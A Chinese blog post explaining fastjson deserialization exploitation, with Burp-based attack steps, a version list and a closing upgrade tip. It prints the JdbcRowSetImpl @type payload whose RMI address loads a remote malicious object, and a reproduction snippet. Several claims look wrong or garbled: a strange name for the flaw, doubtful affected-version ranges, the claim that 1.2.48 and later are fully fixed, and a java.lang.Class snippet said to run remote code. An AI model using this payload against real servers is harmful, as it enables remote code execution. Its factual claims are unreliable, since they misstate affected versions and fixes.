fastjson漏洞利用详解

一、fastjson漏洞利用工具

fastjson漏洞利用是网络攻击中的一种利用方式,为了方便攻击者,已经有很多的工具可供选择,例如redr2,xray,whatweb等。这些工具都可以帮助用户自动化地寻找存在fastjson漏洞的网站并进行攻击。

二、fastjson漏洞利用条件

fastjson漏洞利用需要满足以下两个条件:

1、可以将第一次请求的json响应数据保存下来

2、可以伪造json数据发送到服务器

一般情况下,可以通过Burp Suite等代理工具来保存第一次请求的json响应数据,并使用类似Postman的工具伪造json数据发送到服务器上。

三、fastjson最新漏洞

fastjson最新漏洞是在2021年6月曝光的,攻击者可以通过构造恶意的json数据来实现远程代码执行。这个漏洞被命名为“天王裸奔”。

四、fastjson漏洞原理

fastjson漏洞原理是因为fastjson在反序列化时对数据结构没有严格的限制,导致攻击者可以在json数据中夹带恶意的类。攻击者可以通过构造不同的类来实现远程代码执行。

五、fastjson反序列化

fastjson反序列化是fastjson将json数据转化为Java对象的过程。

public static <T> T parseObject(String json, Class<T> clazz);

上述代码调用parseObject方法将json字符串转化为Java对象。

六、fastjson漏洞复现

fastjson漏洞复现可以通过以下漏洞代码实现:

package com.alibaba.fastjson.demo;
public class Person {
  public String name;
  public int age;
}
String json = "{\"name\":\"wei\",\"age\":28,\"type\":{\"@type\":\"java.lang.Class\",\"val\":\"com.alibaba.fastjson.demo.Shell\"}}";
Person person = JSON.parseObject(json, Person.class);
System.out.println(person.name);

上述代码中,Fastjson将json字符串转化为Person对象,但是type字段中恶意的类名将在转化时执行远程代码。

七、fastjson漏洞版本列表

以下是fastjson漏洞版本列表:

fastjson 1.2.24到1.2.47

fastjson 1.1.35到1.1.71

fastjson 1.2.48以及之后的版本已经修复了这个漏洞。

八、fastjson漏洞利用原理

fastjson漏洞利用的原理是在构造json数据时夹带恶意的类名。通过构造不同的类名,攻击者可以实现远程代码执行。

九、fastjson漏洞利用特征

fastjson漏洞的利用特征是type字段中的@type关键词。

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://127.0.0.1:1099/EvilObject",
  "autoCommit": true
}

上述例子中的@type关键词可以在反序列化时执行远程代码。

十、fastjson漏洞利用详解

fastjson漏洞利用的步骤如下:

1、使用Burp Suite等工具保存第一次请求的数据。

2、构造恶意的json数据,夹带恶意的类名。

3、使用Burp Suite等工具修改第一次请求的数据,将恶意的json数据发送到服务器上。

上述步骤可以成功地利用fastjson漏洞实现远程代码执行。

十一、总结

fastjson漏洞是网络攻击中常见的一种类型。攻击者可以通过构造json数据夹带恶意的类名实现远程代码执行。为了防止漏洞的利用,用户需要及时升级fastjson版本,并且需要过滤恶意的json数据。

原创文章,作者:RTMKM,如若转载,请注明出处:https://www.506064.com/n/334778.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
RTMKMRTMKM
上一篇 2025-02-05 13:05
下一篇 2025-02-05 13:05

相关推荐

  • Treck TCP/IP Stack 输入验证错误漏洞CVE-2020-11901解析

    本文将对Treck TCP/IP Stack 输入验证错误漏洞CVE-2020-11901进行详细解析,并提供相关代码示例。 一、漏洞背景 Treck TCP/IP Stack是一…

    编程 2025-04-27
  • Python漏洞挖掘全指南

    本文将从多个方面详细阐述Python漏洞挖掘的相关知识,帮助开发工程师了解并掌握漏洞挖掘的基础知识和实战技巧。 一、漏洞类型 漏洞是指误用或设计上的错误,可导致产品、应用或系统中存…

    编程 2025-04-27
  • Linux sync详解

    一、sync概述 sync是Linux中一个非常重要的命令,它可以将文件系统缓存中的内容,强制写入磁盘中。在执行sync之前,所有的文件系统更新将不会立即写入磁盘,而是先缓存在内存…

    编程 2025-04-25
  • 神经网络代码详解

    神经网络作为一种人工智能技术,被广泛应用于语音识别、图像识别、自然语言处理等领域。而神经网络的模型编写,离不开代码。本文将从多个方面详细阐述神经网络模型编写的代码技术。 一、神经网…

    编程 2025-04-25
  • Python输入输出详解

    一、文件读写 Python中文件的读写操作是必不可少的基本技能之一。读写文件分别使用open()函数中的’r’和’w’参数,读取文件…

    编程 2025-04-25
  • Python安装OS库详解

    一、OS简介 OS库是Python标准库的一部分,它提供了跨平台的操作系统功能,使得Python可以进行文件操作、进程管理、环境变量读取等系统级操作。 OS库中包含了大量的文件和目…

    编程 2025-04-25
  • 详解eclipse设置

    一、安装与基础设置 1、下载eclipse并进行安装。 2、打开eclipse,选择对应的工作空间路径。 File -> Switch Workspace -> [选择…

    编程 2025-04-25
  • nginx与apache应用开发详解

    一、概述 nginx和apache都是常见的web服务器。nginx是一个高性能的反向代理web服务器,将负载均衡和缓存集成在了一起,可以动静分离。apache是一个可扩展的web…

    编程 2025-04-25
  • git config user.name的详解

    一、为什么要使用git config user.name? git是一个非常流行的分布式版本控制系统,很多程序员都会用到它。在使用git commit提交代码时,需要记录commi…

    编程 2025-04-25
  • Linux修改文件名命令详解

    在Linux系统中,修改文件名是一个很常见的操作。Linux提供了多种方式来修改文件名,这篇文章将介绍Linux修改文件名的详细操作。 一、mv命令 mv命令是Linux下的常用命…

    编程 2025-04-25

发表回复

登录后才能评论